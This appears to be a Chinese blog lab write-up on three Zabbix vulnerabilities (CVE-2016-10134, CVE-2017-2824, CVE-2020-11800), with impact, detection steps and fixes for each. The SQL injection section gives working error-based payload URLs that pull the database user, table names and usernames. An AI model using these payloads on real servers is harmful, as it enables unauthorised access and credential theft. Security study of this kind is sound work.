概述
zabbix([`zæbiks])是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
zabbix由2部分构成,zabbix server与可选组件zabbix agent。
环境搭建
漏洞实战分类
CVE-2016-10134
漏洞描述
zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
攻击者无需授权登陆即可登陆zabbix管理系统,进入后台后script等功能直接获取zabbix服务器的操作系统权限。
影响范围
zabbix 2.2.x, 3.0.0-3.0.3
漏洞原理
攻击者无需授权登陆即可登陆zabbix管理系统,进入后台后script等功能直接获取zabbix服务器的操作系统权限。
漏洞条件
zabbix 2.2.x, 3.0.0-3.0.3
漏洞检测
1、URL访问
1 | http://192.168.20.120:8080/index.php |
2、guest账号登录
(密码为空)
3、查看cookie的zbx_session
复制后16位字符
4、将这16个字符作为sid的值
1 | http://192.168.20.120:8080/latest.php?output=ajax&sid=d973662317b7d811&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0) |
5、访问
6、此漏洞也可以通过jsrpc.php触发
1 | http://192.168.20.120:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0) |
7、爆破其他表
1 | http://192.168.20.120:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='zabbix' limit 0,1),0x7e),1) |
8、字段名
1 | http://192.168.20.120:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(1,concat(0x7e,(select username from zabbix.users limit 0,1),0x7e),1) |
漏洞修复
1、版本更新
CVE-2017-2824
漏洞描述
Zabbix 2.4.x中的trapper command功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码,攻击者可以从一个Zabbix proxy发起请求从而促发漏洞。
影响范围
Zabbix 2.4.7 – 2.4.8r1
漏洞原理
Zabbix 2.4.x中的trapper command功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码,攻击者可以从一个Zabbix proxy发起请求从而促发漏洞。
漏洞条件
开启注册功能。
漏洞检测
1、自动注册功能开启
利用该漏洞,需要你服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码admin/zabbix
登录后台,进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意:
以上完成自动注册开启
2、 执行exp时一定确保服务均已启动
3、执行exp,如果执行出现如下结果,可尝试多次执行。
4、如下命令执行成功
漏洞修复
1、除Zabbix Server 2.4.X版本以外不受影响
2、通过删除ZabbixServer的Zabbix数据库内的三个默认脚本条目,攻击者将无法实际执行代码,即使他们可以将具有欺骗地址的主机插入到数据库中。
操作如下:
直接从数据库中利用命令消除(use zabbix; delete * from scripts;)
或从GUI界面通过操作(Administration -> Scripts -> Checkmarks -> Delete Selected/Go)完成。
参考
1 | https://talosintelligence.com/reports/TALOS-2017-0325 |
CVE-2020-11800
漏洞描述
Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。在CVE-2017-2824中,其Server端 trapper command 功能存在一处代码执行漏洞,而修复补丁并不完善,导致可以利用IPv6进行绕过,注入任意命令。
影响范围
Zabbix 3.0.x~3.0.30
漏洞原理
该漏洞原理与CVE-2017-2824相同.
active checks是自动注册的命令字,自动注册的本意是agent可主动将主机注册给server进行监控,在2.2.18版本中可以在IP中注入(参见上文的版本分析处,2.2.19版本才增加了ip校验)shell命令。CVE-2017-2824提到的漏洞在discovery data命令字即自动发现功能中,由于没有校验IP,导致可在IP中写入shell命令,进而在执行script cmd时达到命令注入。
漏洞条件
Zabbix 3.0.x~3.0.30
自动注册功能开启
漏洞检测
1、环境
确保主机均已启动完成
2、URL访问
1 | http://192.168.20.120:8080/ |
3、开启自动注册功能
4、执行exp尝试执行命令
5、获取tmp目录信息
漏洞修复
1、IP地址限制
参考
1 | https://xz.aliyun.com/t/8991 |
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章